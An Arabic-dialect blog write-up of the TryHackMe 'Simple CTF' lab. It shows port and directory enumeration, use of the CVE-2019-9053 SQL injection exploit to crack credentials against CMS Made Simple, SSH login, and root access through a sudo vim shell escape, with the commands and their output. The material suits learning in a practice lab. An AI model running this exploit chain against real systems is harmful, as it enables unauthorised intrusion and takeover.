المقدّمة

هذا أول writeup نحاول نشاركو في المدونة، والتحدي بسيط بزاف: Simple CTF من TryHackMe.
ماهوش معقّد، ومافيهش حاجة خرافية، بصح فيه تقريبًا كل لبنات الأساس اللي تحتاجهم باش تبدأ تفهم كيفاش تخمم في CTFs والأمن المعلوماتي بشكل عام.

ما نيش هنا نعلّم، أنا كيفكم نتعلم ونحاول نفهم ونوثق.
وإذا لقيت في هاد الطريقة فائدة، نكمل بيها ونطوّرها مع الوقت.

💻 المنصةTryHackMe
🔗 الرابطاضغط هنا
🖥️ نظام التشغيلLinux
🎯 الصعوبةساهلة
🧠 TTPs (طرق وتقنيات)استكشاف الخدمات (Enumeration)
استغلال SQLi (CVE-2019-9053)
كسر كلمة المرور (Cracking)
استغلال SSH للولوج
تصعيد الصلاحيات بـ sudo + vim

مرحلة الاستكشاف (Enumeration)

أول خطوة فـ أي CTF هي التعرف على الخدمات المفتوحة، الأنظمة، والبورتات. هنا استعملنا nmap و Feroxbuster .

مسح الشبكة (Port Scanning)

nmap -sC -sV -oN SimpleCTF.txt $IP
SimpleCTF export IP=10.10.131.165                
SimpleCTF sudo nmap $IP -A T4 $IP -oN SimpleCTF.nmap 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-26 15:11 CET
Nmap scan report for 10.10.131.165 (10.10.131.165)
Host is up (0.075s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.23.150.79
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 4.X|2.6.X|3.X|5.X (97%)
OS CPE: cpe:/o:linux:linux_kernel:4.15 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:5
Aggressive OS guesses: Linux 4.15 (97%), Linux 4.4 (91%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 4.15 - 5.19 (91%), Linux 5.0 - 5.14 (91%), Linux 2.6.32 - 3.10 (91%), Linux 3.10 - 3.13 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   72.72 ms 10.23.0.1 (10.23.0.1)
2   75.30 ms 10.10.131.165 (10.10.131.165)
Simplectf Nmap
Simplectf Nmap Annoted

وش لاحظنا:

  • FTP (Port 21):
    • Service: vsftpd 3.0.3
    • يسمح بالدخول بـ Anonymous (يعني تقدر تدخل بلا ما تحتاج compte)
    • ممكن نلقاو ملفات حساسة نقدر نحملوها
  • HTTP (Port 80):
    • Serivice: Apache 2.4.18 تخدم فوق Ubuntu
    • الصفحة الرئيسية تع  Apache باينة
    • كاين ملف robots.txt فيه 2 لمسارات مخبية
    • ممكن كاين تطبيق Web (OpenEMR) اللي نقدرو نستغلوه من بعد
  • 🔐 SSH (Port 2222):
    • SSH يخدم على Port غريب (2222 بدل 22)
    • الإصدار: OpenSSH 7.2p2
    • النظام: Ubuntu Linux
Simplectf Web

البحث عن دلائل (Directory Bruteforce)

feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt 
SimpleCTF feroxbuster -u http://$IP/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt 
                                                                                                                                                             
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.131.165/
 🚀  Threads50
 📖  Wordlist/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
 👌  Status CodesAll Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agentferoxbuster/2.11.0
 💉  Config File/etc/feroxbuster/ferox-config.toml
 🔎  Extract Linkstrue
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu
──────────────────────────────────────────────────
403      GET       11l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       15l       74w     6143c http://10.10.131.165/icons/ubuntu-logo.png
200      GET      375l      968w    11321c http://10.10.131.165/
301      GET        9l       28w      315c http://10.10.131.165/simple => http://10.10.131.165/simple/
301      GET        9l       28w      319c http://10.10.131.165/simple/doc => http://10.10.131.165/simple/doc/
301      GET        9l       28w      321c http://10.10.131.165/simple/admin => http://10.10.131.165/simple/admin/
301      GET        9l       28w      322c http://10.10.131.165/simple/assets => http://10.10.131.165/simple/assets/
301      GET        9l       28w      331c http://10.10.131.165/simple/admin/templates => http://10.10.131.165/simple/admin/templates/
301      GET        9l       28w      330c http://10.10.131.165/simple/assets/plugins => http://10.10.131.165/simple/assets/plugins/
301      GET        9l       28w      328c http://10.10.131.165/simple/admin/themes => http://10.10.131.165/simple/admin/themes/
301      GET        9l       28w      332c http://10.10.131.165/simple/assets/templates => http://10.10.131.165/simple/assets/templates/
Simplectf Feroxbuster
Simplectf Feroxbuster

وش لقينا؟

من خلال feroxbuster، لقينا ديراكتوري اسمو /simple/، و من خلال البنية تعو باين باللي راه نظام كامل (ربما CMS ولا application داخلية)، فيه بزاف مسارات مثل :

  • /admin/
  • /doc/
  • /modules/
  • /uploads/

 هذا يخلينا نشكّو باللي /simple/ هي المدخل الرئيسي للتحدي.

التحليل التكنولوجي (Technology Fingerprinting)

whatweb http://$IP/simple/
SimpleCTF whatweb http://$IP/simple
http://10.10.131.165/simple [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.131.165], RedirectLocation[http://10.10.131.165/simple/], Title[301 Moved Permanently]
http://10.10.131.165/simple/ [200 OK] Apache[2.4.18], CMS-Made-Simple[2.2.8], Cookies[CMSSESSIDd6a5f2400115], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.131.165], JQuery[1.11.1], MetaGenerator[CMS Made Simple - Copyright (C) 2004-2019. All rights reserved.], Script[text/javascript], Title[Home - Pentest it]
Simplectf Whatweb
Simplectf Whatweb
Simplectf Simple
Simplectf Simple

النتائج:

  • web Server: Apache 2.4.18 على Ubuntu
  • CMS المستعمل: CMS Made Simple 2.2.8
  • JavaScript Framework: jQuery 1.11.1

البحث على ثغرات (Vulnerability Research)

الخطوة الأولى: كيفاش نلقاو الثغرات؟

بما أن عرفنا بأن النظام هو CMS Made Simple 2.2.8، أول حاجة نديروها هي نبحثو على الثغرات المعروفة على هاد النسخة.

كاين بزاف طرق باش تدير هاد الشي:

1. نبحثو يدويًا فـ Google:

مثال:

cms made simple 2.2.8 exploit

أو:

cms made simple 2.2.8  exploit github

هادي طريقة كلاسيكية لكنها تخدم، خصوصًا للناس اللي يحبّو يتعلّمو كيفاش يتعاملو مع الـ CVEs والمنتديات.


2. نستعمل searchsploit (الأداة المثبّتة مع Kali)

searchsploit هي أداة تسمحلك تبحث فـ قاعدة بيانات Exploit-DB بلا ما تدخل للأنترنت.

🔧 الأمر اللي استعملناه:

searchsploit cms made simple 2.2.8
Simplecms Searchsploit

🔍 النتيجة:

CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py

هذا exploit راه مخزّن مسبقًا في:

/usr/share/exploitdb/exploits/php/webapps/46635.py

يعني تقدر تنسخو مباشرة:

cp /usr/share/exploitdb/exploits/php/webapps/46635.py ./exploitSimpleCMS.py 

استغلال الثغرة (CVE-2019-9053 – SQLi)

نوع الثغرة: Time-Based Blind SQL Injection

بعد ما عرفنا مكان الإكسبلويت، نروحو نشرحو واش يدير هاد السكريبت


واش يدير سكريبت الاستغلال؟

هاد السكريبت بلغة Python 2 و يستغل ثغرة SQLi فـ صفحة moduleinterface.php
تقدر تكتب URL فيه استعلام SQL، والردّ من السيرفر يتأخر إذا كان صحيح.

واش يستخرج بالضبط؟

السكريبت يخدم على مراحل:

  1. dump_salt() – يجيب الـ salt (مكون تشفير)
  2. dump_username() – يجيب اسم المستخدم
  3. dump_email() – يلقط الإيميل
  4. dump_password() – يجيب كلمة السر المشفّرة
  5. --crack (اختياري) – يفكّ كلمة السر إذا عطيتو wordlist

python2 exploit.py -u http://$IP/simple

وباش تجرب الكراك:

python2 exploit.py -u http://$IP/simple --crack -w /usr/share/wordlists/rockyou.txt

SimpleCTF python2 ./exploitSimpleCMS.py -h                                                       
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
Usage: exploitSimpleCMS.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://10.10.10.100/cms)
  -w WORDLIST, --wordlist=WORDLIST
                        Wordlist for crack admin password
  -c, --crack           Crack password with wordlist
SimpleCTF python2 ./exploitSimpleCMS.py -u http://$IP/simple/ -w /usr/share/wordlists/rockyou.txt
Simplectf Exploit
  • نستعمل اسم المستخدم + كلمة السر (إذا فكيناها)
  • ونجربو الدخول للوحة التحكم /admin/
Simplecms Exploited
Simplecms Admin

استغلال الوصول (Gaining Access)

من بعد استخراج بيانات الدخول باستعمال ثغرة SQLi، جربنا ندخلو للسيرفر عن طريق الـ SSH:

ssh mitch@$IP -p 2222
Simplecms Ssh
~ ssh mitch@$IP -p 2222
The authenticity of host '[10.10.105.43]:2222 ([10.10.105.43]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:12: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.105.43]:2222' (ED25519) to the list of known hosts.
mitch@10.10.105.43's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ whoami
mitch
$ pwd
/home/mitch
$ ls -ahl 
total 36K
drwxr-x--- 3 mitch mitch 4,0K aug 19  2019 .
drwxr-xr-x 4 root  root  4,0K aug 17  2019 ..
-rw------- 1 mitch mitch  178 aug 17  2019 .bash_history
-rw-r--r-- 1 mitch mitch  220 sep  1  2015 .bash_logout
-rw-r--r-- 1 mitch mitch 3,7K sep  1  2015 .bashrc
drwx------ 2 mitch mitch 4,0K aug 19  2019 .cache
-rw-r--r-- 1 mitch mitch  655 mai 16  2017 .profile
-rw-rw-r-- 1 mitch mitch   19 aug 17  2019 user.txt
-rw------- 1 mitch mitch  515 aug 17  2019 .viminfo
$ 

السيرفر جاوب، وطلب منّا كلمة السر → دخلناها، وتمّ تسجيل الدخول بنجاح كمستخدم mitch.

وش نثبتنا هنا؟

  • نظام التشغيل: Ubuntu 16.04.6 LTS
  • المستخدم الحالي: mitch
  • المسار الحالي: /home/mitch
  • الملف user.txt موجود، وعادة يحتوي على أول flag في CTF-style machines

معناه استطعنا نتحصل على أول هدف (User Flag) بنجاح. 🎯

تصعيد الصلاحيات (Privilege Escalation)

أول خطوة: واش نقدر ندير بصلاحيات sudo؟

بما أني متصل كمستخدم mitch، حبيت نعرف واش نوع الأوامر اللي يقدر يشغلها بصلاحيات sudo (يعني كأنو root)، وحتى بلا ما يطلب كلمة السر.

استعملت الأمر:

sudo -l

وش معناها sudo -l؟

هذا أمر يسمحلك تشوف صلاحيات sudo للمستخدم الحالي.
يعني يقولك واش الأوامر اللي تقدر تشغلها بصلاحيات root، وإذا كانت تتطلب كلمة سر ولا لا.

النتيجة اللي خرجتلي:

mitch may run the following commands on Machine:<br>    (root) NOPASSWD: /usr/bin/vim

التفسير:

  • (root) → تقدر تشغل أوامر كـ root
  • NOPASSWD:ما راح يطلب كلمة سر
  • /usr/bin/vim → تقدر تستعمل برنامج vim بصلاحيات root

واش درت بعدها؟ رجعت للـ GTFObins

تذكرت باللي كنا هدرنا على موقع GTFObins في مقال سابق عن المنهجية.

🔗 GTFObins هو موقع يساعدك تعرف كيفاش تستغل أوامر متاحة بصلاحيات sudo (مثل vim، nano، find…) باش تفتح shell بصلاحيات أعلى.

قلبت على vim في GTFObins، ولقيت هاد الطريقة:

Simplectf Vim Gtfobins Brave
sudo vim -c ':!/bin/sh'
$ sudo -l 
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
$ sudo -u root /usr/bin/vim -c ':!/bin/sh'





                                    VIM - Vi IMproved

                                    version 7.4.1689
                                by Bram Moolenaar et al.
                 Modified by pkg-vim-maintainers@lists.alioth.debian.org
                       Vim is open source and freely distributable

                                Sponsor Vim development!
                     type  :help sponsor<Enter>    for information

                     type  :q<Enter>               to exit
                     type  :help<Enter>  or  <F1>  for on-line help
                     type  :help version7<Enter>   for version info# id
uid=0(root) gid=0(root) groups=0(root)
# whoami 
root
# cd /root	
# ls 
root.txt
# cat root.txt 
W3ll d0n3. You made it!

استغلال vim باش نفتح shell كـ root:

بما أني نقدر نشغل vim بصلاحيات root، طبقت الأمر التالي:

sudo -u root /usr/bin/vim -c ':!/bin/sh'

والنتيجة:

# id<br>uid=0(root) gid=0(root) groups=0(root)

رسميًا، أنا الآن داخل كـ root!

Simplectf Root

آخر حاجة: نلقاو root.txt

# cd /root
# ls
root.txt
# cat root.txt
W3** d**3. Y** m**e *t*

ڤيديو

الخاتمة

Simple CTF هو تحدي ساهل، بصح يعطيك نظرة على المراحل اللي تمر بها أغلب CTFs:
من الاستكشاف، لاستغلال الثغرة، للتنقل في النظام، وحتى تصعيد الصلاحيات.

أنا شخصيًا نحاول نلقا تنسيق وأسلوب يخلي الواحد يقرأ وهو مرتاح، خاصة اللي مازالو جدد فالمجال.
إذا شفت حاجة تقدر تكون خير، ولا تحب تغيّر طريقة العرض، خلّي تعليقك — نحب نسمع رأيك ونخدم بيه

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *